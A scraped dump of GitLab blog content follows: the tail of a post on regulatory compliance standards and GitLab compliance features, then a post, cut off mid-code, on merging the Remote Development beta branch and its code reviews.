[PDPA](https://www.pdpc.gov.sg/overview-of-pdpa/the-legislation/personal-data-protection-act) (Singapore, All organizations): Personal Data Protection Act. Governs the collection, use, and disclosure of personal data by organizations.\n- [APPI](https://www.ppc.go.jp/files/pdf/Act_on_the_Protection_of_Personal_Information.pdf) (Japan, All industries): Act on the Protection of Personal Information. Regulates the use of personal information in Japan.\n- [LGPD](https://lgpd-brazil.info/) (Brazil, All industries): Lei Geral de Proteção de Dados. Brazil's data protection law is similar to GDPR.\n- [FISMA](https://www.cisa.gov/topics/cyber-threats-and-advisories/federal-information-security-modernization-act) (USA, Federal agencies): Federal Information Security Management Act. Defines a framework for managing information security for federal information systems.\n- [POPI Act](https://popia.co.za/) (South Africa, All sectors): The Protection of Personal Information Act promotes the protection of personal information processed by public and private bodies.\n- [PDPA](https://www.pwc.com/th/en/tax/personal-data-protection-act.html) (Thailand, All sectors): Personal Data Protection Act. Like GDPR, it regulates the collection, use, and disclosure of personal data in Thailand.\n- [PIPL](https://en.wikipedia.org/wiki/Personal_Information_Protection_Law_of_the_People%27s_Republic_of_China) (China, All sectors): Personal Information Protection Law. China's first comprehensive data protection law is similar to GDPR.\n- [NDPR](https://nitda.gov.ng/wp-content/uploads/2021/01/NDPR-Implementation-Framework.pdf) (Nigeria, All sectors): Nigeria Data Protection Regulation. Safeguards the rights of natural persons to data privacy. \n- [DIFC Data Protection Law](https://www.difc.ae/business/laws-and-regulations/legal-database/difc-laws/data-protection-law-difc-law-no-5-2020) (Dubai, Companies in Dubai International Financial Centre): Regulates the processing of personal data in the DIFC free zone.\n- [PDPA](https://www.pdp.gov.my/jpdpv2/laws-of-malaysia-pdpa/personal-data-protection-act-2010/?lang=en) (Malaysia, Commercial transactions): Personal Data Protection Act. Regulates the processing of personal data in commercial transactions.\n- [Privacy Act](https://www.ag.gov.au/rights-and-protections/privacy) (Australia, Government agencies, and some private sector organizations) regulates how personal information is handled by Australian government agencies and some private sector organizations.\n- [KVKK](https://www.kvkk.gov.tr/Icerik/6649/Personal-Data-Protection-Law) (Turkey, All sectors): Turkish Personal Data Protection Law. Regulates the processing of personal data and protects individual rights.\n\nThese standards reflect the growing global concern for data privacy and security. Many countries are developing their own frameworks inspired by established regulations like GDPR. Each standard is tailored to the specific legal, cultural, and economic context of its country.\n\n### Industry-specific standards\n\n- [PCI DSS](https://www.pcisecuritystandards.org/) (Financial Services): The Payment Card Industry Data Security Standard applies to all organizations that handle credit card information globally.\n- [ISO 27001](https://www.iso.org/standard/iso-iec-27000-family) (All industries) is an Information Security Management System standard that provides a framework for information security management practices.\n- [GAMP 5](https://qbdgroup.com/en/blog/gamp-categories/) (Pharmaceutical): Good Automated Manufacturing Practice. Guidelines for computerized systems in pharmaceutical manufacturing.\n- [ISO 13485](https://www.iso.org/standard/59752.html) (Medical Devices): Specifies requirements for a quality management system for medical device manufacturers.\n- [COBIT](https://www.isaca.org/resources/cobit) (IT Management): Control Objectives for Information and Related Technologies. Framework for IT management and IT governance.\n- [ITIL](https://en.wikipedia.org/wiki/ITIL) (IT Services) is an Information Technology Infrastructure Library, a set of detailed practices for IT service management.\n- [NIST CSF](https://www.nist.gov/cyberframework) (Cybersecurity): National Institute of Standards and Technology Cybersecurity Framework. Guidance on managing and reducing cybersecurity risk.\n- [WCAG](https://www.w3.org/WAI/standards-guidelines/wcag/) (Web Accessibility): The Web Content Accessibility Guidelines aim to make web content more accessible to people with disabilities.\n- [Basel III](https://www.bis.org/bcbs/basel3.htm) (Banking) is the international regulatory framework for banks, including IT risk management requirements.\n- [TISAX](https://portal.enx.com/en-US/TISAX/) (Automotive): Trusted Information Security Assessment Exchange. Information security assessment and exchange mechanism for the automotive industry. (Learn how [GitLab's TISAX certification](https://about.gitlab.com/blog/gitlab-drives-automotive-industry-information-security-with-tisax/) helps customers in the automotive industry.)\n\nThese standards apply across national boundaries to specific industries or aspects of IT, ensuring consistent practices and security measures globally within their respective domains.\n\n## Importance of continuous compliance\nOrganizations need to implement systems that ensure compliance with relevant regulatory requirements and can achieve this with continuous compliance. [Continuous software compliance](https://about.gitlab.com/solutions/compliance/) is essential to every industry, as it provides ongoing monitoring, assessment, and adjustment of an organization's systems, processes, and practices to ensure they consistently meet relevant standards and regulations.\n\nContinuous compliance is not just a regulatory checkbox but a strategic necessity for software development today. It empowers organizations to proactively navigate emerging threats, technological shifts, and regulatory changes while fostering stakeholder trust, operational efficiency, and competitive advantage in an increasingly complex business environment.\n\n## Regulatory compliance vs. self-imposed standards\n\nRegulatory compliance and self-imposed standards are two distinct approaches to organizational governance. Regulatory compliance involves adhering to mandatory laws and regulations set by external authorities, which have a broad scope and potential legal consequences for non-compliance. It focuses on meeting minimum legal requirements and is generally less flexible. Examples include GDPR, HIPAA, and SOX.\n\nIn contrast, self-imposed standards are voluntary guidelines adopted by organizations to improve quality, security, or performance. These can be tailored to specific needs, are highly adaptable, and typically aim to exceed minimum requirements. While failure to meet self-imposed standards may impact reputation, it usually doesn't have legal ramifications.\nThe key differences lie in their origin, motivation, adaptability, and scope. Many organizations implement both approaches to create a comprehensive quality, security, and performance management strategy.\n\n## Compliance management\n\nTo meet standards, organizations must evaluate the right [compliance metrics](https://advisory.kpmg.us/articles/2018/compliance-metrics.html) and integrate them into their standard operating procedures to provide insights that enable early detection and prevention of current and future compliance risks. Thus, there is a need for efficient [compliance management](https://about.gitlab.com/solutions/compliance/). Compliance management goes beyond checking off a checklist periodically; it's a comprehensive organization-wide continuous process.\n\n## Compliance management with GitLab\n\nGitLab provides features that allow organizations to create [compliance frameworks](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html), [security policies](https://docs.gitlab.com/ee/user/application_security/policies/), and [audit management](https://docs.gitlab.com/ee/administration/audit_reports.html). GitLab also enables compliance or leadership teams to monitor compliance metrics with [compliance reports](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html). Let's take a look at some of these features.\n\n### Compliance frameworks and pipelines\n\nOrganizations can create a [compliance framework](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) that identifies projects in GitLab that must meet defined compliance requirements, which can be enforced with [compliance pipelines](https://docs.gitlab.com/ee/user/group/compliance_pipelines.html). For example, a FinTech company can create a [default compliance framework](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#default-compliance-frameworks) for all projects, ensuring every stage of their software development lifecycle meets the PCI DSS requirements for handling cardholder data.\n\nThese requirements are then enforced by ensuring every change introduced to the codebase is sufficiently tested automatically with GitLab's [application security features](https://docs.gitlab.com/ee/user/application_security/), which cover source code, dependencies, licenses, vulnerabilities in running application and infrastructure configurations. You can learn more about how GitLab helps you achieve PCI compliance and other [regulatory compliance](https://about.gitlab.com/solutions/continuous-software-compliance/) with compliance frameworks.\n\nThe following videos demonstrate setting up and using compliance frameworks and pipelines.\n\n**Video tutorial: Create compliance frameworks**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/IDswzRI-8VQ\" title=\"How to setup Compliance Frameworks &amp; Pipelines in GitLab\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Video tutorial: Enforce compliance pipelines**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jKA_e_jimoI\" title=\"GitLab Compliance Pipelines &amp; Overriding Settings\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Security policy management\n\nSecurity and compliance teams can use GitLab to enforce compliance requirements by ensuring security scanners run in certain pipelines or require approval on merge requests when [security policies](https://docs.gitlab.com/ee/user/application_security/policies/) are violated. GitLab supports [scan execution](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) and [scan result](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) policies. These policies are defined in a dedicated [security policy project](https://docs.gitlab.com/ee/user/application_security/policies/#security-policy-project) that separates duties between security and development teams. Security policies can be applied granularly at the group, sub-group, and project levels. The policies can be edited in rule mode, which uses the [policy editor](https://docs.gitlab.com/ee/user/application_security/policies/#policy-editor), or by yaml mode.\n\n#### Scan execution policies\nScan execution policies can be configured to run on a specified [GitLab Runner](https://docs.gitlab.com/runner/), including the following:\n-  [Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/)\n- [Infrastructure as \nCode](https://docs.gitlab.com/ee/user/application_security/iac_scanning/)\n- [Dynamic Application Security Testing](https://docs.gitlab.com/ee/user/application_security/dast/)\n- [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/)\n- [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n- [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) \n\nThe scan jobs can be run on schedule or anytime a pipeline runs. Compliance and security teams can use scan execution policies to periodically check on and proactively prevent vulnerability escalation as part of a vulnerability management strategy. They can also reinforce controls when new trends are observed from scan results.\n\n**Video tutorial: Set up security scan policies in GitLab**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZBcqGmEwORA\" title=\"How to set up security scan policies in GitLab\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### Scan result policies\n\nScan result policies add required review and approval for merge requests when the results of specified security scans violate the policies' rules. For example, a policy can require a security team member to take action when a newly identified critical SAST vulnerability is detected. This way, security and compliance team members can support developers while ensuring the changes introduced to the codebase are secure and meet compliance requirements.\n\n**Video tutorial: Overview of GitLab Scan Result Policies**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/w5I9gcUgr9U\" title=\"Overview of GitLab Scan Result Policies\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### License approval policies\nWhen selecting scan types for scan result policy rules, you can choose between security scan, the default behavior for scan result policies, and license scan, which helps ensure license compliance. License scanning depends on the output of the [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) [CI/CD](https://about.gitlab.com/topics/ci-cd/) job to check if identified licenses match specified criteria, then adds approval requirements before an open merge request can be merged. This is crucial to ensure that only dependencies with approved licenses are used in your organization.\n\n**Video demo: License approval policies**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/34qBQ9t8qO8\" title=\"License Approval Policies Demo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Audit management\n#### Preparing for audits \nAudits are essential for compliance management because they allow you to understand your organization's security and compliance posture. External audits required by regulators are often detailed and exhaustive. To prepare for them, organizations need to:\n- Determine which regulations or standards will be assessed and what areas of the organization will be examined.\n- Analyze past audit results and ensure any previously identified issues have been addressed.\n- Collect all relevant policies, procedures, and records that demonstrate compliance.\n- Before the official audit, an internal audit must be performed to identify and address any potential compliance gaps.\n- Brief employees on the audit process and their roles. Conduct training if necessary.\n- Ensure all required documentation is easily accessible and well-organized.\n- Ensure all compliance-related policies and procedures are up-to-date and aligned with current regulations.\n- Verify that all technical safeguards and controls are in place and functioning correctly.\n- Identify key personnel who may be interviewed and brief them on potential questions.\n- Address known issues: If any known compliance issues exist, develop and document plans to address them.\n\nTo enable your preparedness, GitLab features: [Audit Events](https://docs.gitlab.com/ee/administration/audit_events.html) and [Compliance Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html) give a detailed view of an organization's compliance.\n\n#### Using GitLab audit logs effectively \n\nYou want to know every action taken on the GitLab instance with [audit events](https://docs.gitlab.com/ee/administration/audit_events.html). Audit reports allow you to track every significant event, who performed it, and when. You can also generate detailed reports from audit events using [audit reports](https://docs.gitlab.com/ee/administration/audit_reports.html), allowing you to prove your compliance to auditors or regulators.\n\n![Audit events](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098755/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098755493.png)\n\n[The compliance center](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html#compliance-violations-report) is a significant component of audit management in GitLab, giving visibility to your organization's compliance posture. Compliance reports detail every violation discovered with the [compliance violations report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_violations_report.html) and the frameworks used by projects within your organization with the compliance [frameworks report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_frameworks_report.html).\n\n![Meet regulatory requirements - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098756/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098755493.png)\n\n\u003Ccenter>\u003Ci>Example of a compliance violations report from a parent GitLab group.\u003C/i>\u003C/center>\n\n![Meet regulatory requirements - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098755/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098755495.png)\n\n\u003Ccenter>\u003Ci>Example of a compliance framework report for all projects in a group\u003C/i>\u003C/center>\n\n#### Audit events streaming\nMost organizations have existing systems to monitor activities in their systems in real-time. With [audit events streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) on GitLab, you can integrate third-party solutions like Splunk infrastructure monitoring or DataDog streams monitoring service for real-time audit events analytics. All audit events data are sent to the streaming destination (it's essential to stream to a trusted service). Audit events streaming can be [configured at top-level groups](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html#top-level-group-streaming-destinations) and at the [instance level](https://docs.gitlab.com/ee/administration/audit_event_streaming/#instance-streaming-destinations) for self-managed GitLab instances.\n\n## Best practices for compliance management \n\nHere are some best practices for effective compliance management:\n- Establish a strong compliance culture that promotes organizational compliance awareness and ensures leadership commitment and support.\n- Develop a comprehensive compliance program with clear policies and procedures and regularly review the program to reflect regulation changes.\n- Implement risk assessment and management to regularly identify and assess compliance risks, prioritizing risks based on potential impact and likelihood.\n- Conduct regular compliance training tailored to specific roles and responsibilities for all employees.\n- Implement compliance management to automate compliance monitoring and compliance reporting where possible.\n- Perform internal audits to identify gaps and areas for improvement. It is also essential to consider external audits unbiasedly and use audit results to refine and improve compliance processes.\n- Stay informed about regulatory changes by assigning responsibility for monitoring regulatory updates and participating in industry associations and forums.\n- Integrate compliance into business processes, embed compliance checks into operational workflows, and consider compliance implications in strategic decision-making. Align compliance goals with business objectives\n- Develop response plans for potential compliance breaches and conduct mock scenarios to test readiness for incidents and violations.\n\n## Learn more\nCompliance is a continuous process of efficiently managing risk by implementing guardrails and monitoring compliance metrics. GitLab empowers organizations to fulfill regulatory standards with our [compliance management](https://about.gitlab.com/solutions/compliance/) features. With GitLab, you can improve the software supply chain experience, build more secure software faster, and maintain the trust of your users, clients, and community.\n\n> Learn more about compliance and security policy management with the [GitLab DevSecOps tutorial](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/), which contains lessons covering the complete application security lifecycle in GitLab.\n\n## Read more\n- [Introducing GitLab Dedicated for Government](https://about.gitlab.com/blog/introducing-gitlab-dedicated-for-government/)\n- [How to ensure separation of duties and enforce compliance with GitLab](https://about.gitlab.com/blog/ensuring-compliance/)\n- [The ultimate guide to least privilege access with GitLab](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/)",[943,479,674,185],{"slug":8906,"featured":6,"template":678},"meet-regulatory-standards-with-gitlab","content:en-us:blog:meet-regulatory-standards-with-gitlab.yml","Meet Regulatory Standards With Gitlab","en-us/blog/meet-regulatory-standards-with-gitlab.yml","en-us/blog/meet-regulatory-standards-with-gitlab",{"_path":8912,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8913,"content":8919,"config":8924,"_id":8926,"_type":16,"title":8927,"_source":17,"_file":8928,"_stem":8929,"_extension":20},"/en-us/blog/remote-development-beta",{"title":8914,"description":8915,"ogTitle":8914,"ogDescription":8915,"noIndex":6,"ogImage":8916,"ogUrl":8917,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8917,"schema":8918},"Behind the scenes of the Remote Development Beta release","Discover the epic journey of GitLab's Remote Development team as they navigate last-minute pivots, adapt, and deliver new features for users worldwide.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679888/Blog/Hero%20Images/remotedevelopment.jpg","https://about.gitlab.com/blog/remote-development-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Behind the scenes of the Remote Development Beta release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2023-08-16\",\n      }",{"title":8914,"description":8915,"authors":8920,"heroImage":8916,"date":8921,"body":8922,"category":734,"tags":8923},[2680],"2023-08-16","\nIn May 2023, the Create:IDE team faced an epic challenge – to merge the [Remote Development Rails monolith integration branch](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105783) into the `master` branch of the GitLab Project. This was no small ask, as the merge request was of considerable size and complexity. In this blog post, we'll delve into the background, justifications, and process behind this endeavor.\n\nThe merge request titled \"Remote Development feature behind a feature flag\" was initiated by the Create:IDE team, aiming to merge the branch \"remote_dev\" into the \"master\" branch in the Rails monolith GitLab project. The MR contained `4` commits, `258` pipelines, and `143` changes that amounted to a total of `+7243` lines of code added to the codebase.\n\nInitially, the MR was created to reflect the work related to \"Remote Development\" under the \"Category: Remote Development.\" It was primarily intended to have CI pipeline coverage for the integration branch and was not meant for individual review or direct merging. The plan was to merge this code into the master branch via the [\"Remote Development Beta - Review and merge\" Epic](https://gitlab.com/groups/gitlab-org/-/epics/10258).\n\n![SUM](https://about.gitlab.com/images/blogimages/remote-development/SUM.png){: .shadow.medium}\n\n### How the Remote Development project started\nAs a team, we embarked on an ambitious journey to create a greenfield feature: the [Remote Development](https://docs.gitlab.com/ee/user/project/remote_development/) offering at GitLab. This feature had a vast scope, many unknowns, and required solving numerous new problems. To efficiently tackle this task, we decided to work on an integration branch using a [low-ceremony process](https://stackoverflow.com/questions/68092498/what-does-low-ceremony-mean). This decision enabled us to develop and release the feature in an impressively short time frame of less than four months.\n\nWorking on an integration branch provided us the flexibility to make significant progress, but it was always intended to eventually break down the work into smaller, iterative MRs that would follow the standard [GitLab review process](https://docs.gitlab.com/ee/development/code_review.html). We had a [detailed plan](https://gitlab.com/gitlab-org/remote-development/gitlab-remote-development-docs/-/blob/main/doc/integration-branch-process.md#master-mr-process-summary) for this process, but we realized that following the original plan would not allow us to meet our goal of releasing of the feature in GitLab 16.0.\n\n### Merging the integration branch MR without breaking it up\nDuring the development of the Remote Development feature, our team faced several challenges that led us to adopt a new approach for merging the integration branch into the master. First, as part of our [velocity-based XP/Scrum style process](https://about.gitlab.com/handbook/engineering/development/dev/create/ide/#-remote-development-iteration-planning), we realized that meeting the 16.0 release goal would require us to cut scope. A velocity report, \"[Velocity-based agile planning report](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/118436),\" highlighted that breaking down and reviewing individual MRs would take too long, considering the impending due date and the likelihood of last-minute scope additions.\n\nSecond, we [made the decision](https://gitlab.com/gitlab-org/gitlab/-/issues/398227#note_1361192858) to release workspaces as a **beta feature for public projects** for customers in [GitLab 16.0](/releases/2023/05/22/gitlab-16-0-released/#remote-development-workspaces-available-in-beta-for-public-projects). This approach reduced the complexity of the rollout plan and allowed us to get valuable feedback earlier, but required us to enable the feature by default earlier than planned. To align with this decision, we determined that merging the integration branch after review was the best course of action. An announcement was made to explain the change in plan, and we set specific timelines for the review process to ensure smooth coordination.\n\n> Hello Reviewers/Maintainers 👋 We have opened up a Zoom room through all of next week as an easy sync place for us all to collaborate and triage questions. As the MR is quite large, it might be overwhelming to determine where to begin. To help, we will aim to furnish a summary of what we have included, such as two new database tables and a couple of GraphQL/REST APIs. We will also be available through the week in the Zoom room and without it being too prescriptive of a approach, I would suggest we do a sync walkthrough of the MR first and then kick off the reviews.\n\nAddressing the concerns about risk, team members discussed the challenges and potential solutions. While there were apprehensions, we were confident in the overall quality of the feature. A disciplined plan for merging MRs was initially considered, but based on our velocity metrics, it was evident that meeting the public beta release goal required a new strategy.\n\nDespite the deviations from our usual practices, we acknowledged the urgency to deliver the initial release on time. The decision was not taken lightly, and we ensured that the merge had extensive [test coverage](https://docs.gitlab.com/ee/ci/testing/test_coverage_visualization.html) and [feature flags](https://docs.gitlab.com/ee/operations/feature_flags.html) in place to address any potential issues. We accepted that some aspects would be overlooked in the initial MR review cycle, but we committed to addressing them in subsequent iterations.\n\n### Keeping the pipeline green and stable for the merge\nTo ensure the successful merge of the integration branch containing the Remote Development feature, our team made significant efforts to keep the pipeline green and stable. As the MR was quite large and contained critical functionality, it was crucial to maintain a high level of quality and reduce the risk of introducing regressions.\n\nTo address these challenges, the team adopted a disciplined approach to [CI/CD](https://about.gitlab.com/topics/ci-cd/). Throughout the development process, CI pipelines were carefully monitored, and any failing tests or issues were promptly addressed. The team conducted rigorous testing and code reviews to identify and fix potential bugs and ensure that the changes did not negatively impact the existing functionality of the codebase.\n\nAdditionally, extensive test coverage was put in place to ensure that the new feature worked as expected and did not cause unintended side effects. The team utilized GitLab's [test coverage visualization](https://docs.gitlab.com/ee/ci/testing/test_coverage_visualization.html) capabilities to track the extent of test coverage and identify areas that required additional testing.\n\n![PIPE](https://about.gitlab.com/images/blogimages/remote-development/PIPE.png){: .shadow.medium}\n\n## The merging process\nAs part of the Remote Development team, we took a strategic approach to the merging process. We identified three categories of follow-up tasks that needed to be addressed after the release:\n\n1. **To-dos:** This category encompassed follow-up issues that required further attention.\n2. **Disabled linting rules:** Any issues related to disabled linting rules were included in this category.\n3. **Follow-up from review:** Non-blocking concerns raised during the review process were categorized here.\n\nTo manage this process effectively, we organized these categories into [child epics](https://docs.gitlab.com/ee/user/group/epics/manage_epics.html#multi-level-child-epics) under the main epic representing the merging effort.\n\n1. Child epic for [to-do follow-up issues](https://gitlab.com/groups/gitlab-org/-/epics/10472)\n2. Child epic for [disabled linting rules follow-up issues](https://gitlab.com/groups/gitlab-org/-/epics/10473)\n3. Child epic for [follow-up issues from review](https://gitlab.com/groups/gitlab-org/-/epics/10474)\n\n\n## Reviewer resources\nDuring the integration branch merge process for the Remote Development feature, we ensured a smooth and collaborative review experience for all involved. To facilitate this, we set up the following resources and documented the information in GitLab's issue, epic, and MR reviews for better persistence and traceability:\n\n1. **Dedicated Slack channel:** We had a Slack channel that served as our primary hub for coordinating reviews and resolving any blockers that arose during the process. The discussions, decisions, and important points discussed in this channel were documented in the related GitLab issues and epics. This approach enabled us to maintain a historical record of the conversations for to refer back to in the future.\n2. **General Slack channel:** For non-urgent or non-blocking questions and discussions, reviewers could use the a general Slack channel. Similar to the dedicated channel, we documented the relevant information from this channel in the corresponding issues and MR reviews in GitLab.\n3. **Addressing urgent issues:** When urgent issues required immediate attention, reviewers could directly address our technical leads [Vishal Tak](https://gitlab.com/vtak) and/or [Chad Woolley](https://gitlab.com/cwoolley-gitlab) in their Slack messages. However, we kindly requested that [direct messages were avoided](https://about.gitlab.com/handbook/communication/#avoid-direct-messages) to promote open collaboration. The resolutions to these urgent issues were documented in the corresponding GitLab issues or MR discussions.\n4. **Zoom collaboration room:** The collaborative sessions held in the open Zoom room were not only beneficial for real-time discussions but also for fostering a collaborative environment. After each session, we summarized the key points and decisions made during the meeting in the associated GitLab issue or MR, making sure all important outcomes were captured and accessible to the team.\n\nThroughout the review process, we were committed to maintaining a seamless and well-documented workflow. By capturing all relevant information in GitLab issues, epics, and MR reviews, we ensured that the knowledge was persistently available, and future team members could easily understand the context and decisions made during the integration process.\n\n## Application security review\nDuring the application security review process, we focused on providing a secure and reliable Remote Development feature for our users. Here are the key resources and updates related to the application security review:\n\n1. **Main application security review issue:** The main application security review issue served as the central hub for tracking security-related considerations. You can find the defined process we followed [here](https://about.gitlab.com/handbook/security/security-engineering/application-security/appsec-reviews.html).\n2. **Application security review comment:** The application security review issue contained a comment indicating that the merge was not blocked unless there were severe issues that could impact production. \"In order to maintain a smooth merge process, we do not block MRs from being merged unless we identify severe issues that could prevent the feature from going into production, such as S1 or S2 level problems. If you are aware of any design flaws or concerns that might qualify as such issues, please bring them to our attention. We can review them together and address any questions or concerns that arise. Let's work collaboratively to find an approach that works for both parties. 👍\"\n3. **Engineering perspective:** For managing the application security review process from an engineering team perspective, we had a dedicated issue, which is kept confidential for security reasons. \n4. **Security and authentication matters:** All security and authentication concerns pertaining to the Beta release were documented within the [`Remote Development Beta -Auth` epic](https://gitlab.com/groups/gitlab-org/-/epics/10377). As of April 30, 2023, we are delighted to announce that **no known issues or obstacles were found that would impede the merge**. This represents a significant accomplishment, considering the intricate nature of this new feature.\n5. **Initial question raised:** During the application security review, one initial question was raised, and we promptly addressed it. You can track the issue and our response [here](https://gitlab.com/gitlab-org/gitlab/-/issues/409317).\n\n## Database review\nTo ensure the reliability and efficiency of the Remote Development feature, we sought guidance from the database reviewer. Although the team had not conducted a thorough self-review, we were fully prepared to address any blocking issues raised during the review process. Our references for the review were:\n\n- [Database review documentation](https://docs.gitlab.com/ee/development/database_review.html)\n- [Database reviewer guidelines](https://docs.gitlab.com/ee/development/database/database_reviewer_guidelines.html)\n\nAs an example, during the database migration review, a discussion arose between [Alper Akgun](https://gitlab.com/a_akgun) and Chad, regarding the efficient ordering of columns in the workspaces table. Alper initially suggested placing integer values at the beginning of the table based on relevant documentation.\n\nChad questioned the benefit of this suggestion, pointing out that the specific integer field, `max_hours_before_termination`, would still be padded with empty bytes even if moved to the front, due to its current position between two text fields.\n\nAlper proposed an alternative approach, emphasizing that organizing variable-sized fields (such as `text`, `varchar`, `arrays`, `json`, `jsonb`) at the end of the table could be sufficient for the workspaces table.\n\nUltimately, Chad took the initiative to implement the changes, moving all variable length fields to the end of the table, and documented the discussion as a comment to address review suggestions.\n\nWith this collaborative effort, the workspaces table was efficiently optimized, and the team gained valuable insights into database column ordering strategies.\n\n![DB](https://about.gitlab.com/images/blogimages/remote-development/DB.png){: .shadow.medium}\n\n## Ruby code review\nDuring the Ruby code review phase, we followed a meticulous approach by conducting a comprehensive self-review of every line of code. Our goal was to ensure the highest code quality and address any potential issues identified by the reviewers effectively.\n\nTo ensure clarity, it's important to clarify that the Ruby code review primarily focused on backend changes and server-side improvements. This included optimizing performance, enhancing functionalities, and refining the overall codebase to deliver a seamless user experience.\n\nFor the code review process, we referred to the [Code review documentation](https://docs.gitlab.com/ee/development/code_review.html), a valuable resource that guided us in maintaining industry best practices and adhering to the GitLab community's coding standards.\n\n### Example: Enhance error messages for unavailable features\nAs an example during the code review, we addressed an essential aspect of the workspace method, focusing on how we handle scenarios related to the `remote_development_feature_flag` and the `remote_development` licensed feature. The primary objective was to enhance the error messages presented to users when these features are not available.\n\nInitially, the code employed identical error messages for both cases, making it less clear to users whether the issue was due to a missing license or a disabled feature flag. This ambiguity could lead to confusion and hinder the user experience.\n\n#### The suggested improvement\nDuring the review, one of our maintainers, [Peter Leitzen](https://gitlab.com/splattael), raised an important question: \"Are we OK with having only a single error message for both cases (missing license and missing feature flag)?\"\n\nRecognizing the importance of clear communication, Chad proposed enhancing the error messages to provide distinct descriptions for each case. This improvement aimed to empower users by precisely conveying the reason behind the unavailability of certain features.\n\n#### The revised implementation\nFollowing Chad's suggestion, the code underwent the following changes:\n\n```ruby\nunless ::Feature.enabled?(:remote_development_feature_flag)\n  # TODO: Could have `included Gitlab::Graphql::Authorize::AuthorizeResource` and then use\n  #       raise_resource_not_available_error!, but didn't want to take the risk to mix that into\n  #       the root query type\n  raise ::Gitlab::Graphql::Errors::ResourceNotAvailable,\n    \"'remote_development_feature_flag' feature flag is disabled\"\nend\n\nunless License.feature_available?(:remote_development)\n  # TODO: Could have `included Gitlab::Graphql::Authorize::AuthorizeResource` and then use\n  #       raise_resource_not_available_error!, but didn't want to take the risk to mix that into\n  #       the root query type\n  raise ::Gitlab::Graphql::Errors::ResourceNotAvailable,\n    \"'remote_development' licensed feature is not available\"\nend\n\nraise_resource_not_available_error!('Feature is not available') unless current_user&.can?(:read_workspace)\n```\n\n#### The value of distinct error messages\nBy implementing distinct and descriptive error messages, we reinforce our commitment to user-centric development. Users interacting with our system will receive accurate feedback, helping them navigate potential roadblocks effectively. This enhancement not only improves the user experience but also streamlines troubleshooting and support processes.\n\nThis code review example highlights the significance of concise and informative error messages in delivering a top-notch user experience within the GitLab ecosystem. Our team's collaborative efforts ensure that users can confidently interact with our platform, knowing they'll receive clear and helpful error messages when needed.\n\n![BE1](https://about.gitlab.com/images/blogimages/remote-development/BE1.png){: .shadow.medium}\n\n### Example: Improving performance and addressing N+1 issues in WorkspaceType\nIn a recent code review, our team focused on optimizing the WorkspaceType and addressing potential N+1 query problems. The discussion involved two key contributors, [Laura Montemayor](https://gitlab.com/lauraX) and Chad, who worked together to enhance the performance of the codebase.\n\n#### Identifying the performance concerns\nDuring the review, Laura raised a performance concern regarding the possibility of N+1 queries in the WorkspaceType resolver. She suggested that preloading certain associations could be beneficial to avoid this common performance issue.\n\n#### A separate issue for N+1 control\nChad took prompt action and created a separate issue specifically aimed at resolving the N+1 query problems. The new issue, titled \"Address review feedback: Resolve N+1 issues,\" would address the concerns raised by Laura and implement the necessary preloading.\n\n#### Evaluating the potential N+1 impact\nChad provided insightful information about the low risk of real N+1 impact from two particular fields in the current implementation. He elaborated on how the queries for user and agent associations would largely be cache hits due to scoping and usage patterns. Chad diligently examined the cache hits happening in development, confirming the potential optimization.\n\nHere's a code snippet from the initial implementation:\n\n```ruby\n# Initial Implementation\nclass WorkspaceType \u003C BaseType\n  field :user, ::Types::UserType,\n    description: \"User associated with this workspace\",\n    null: 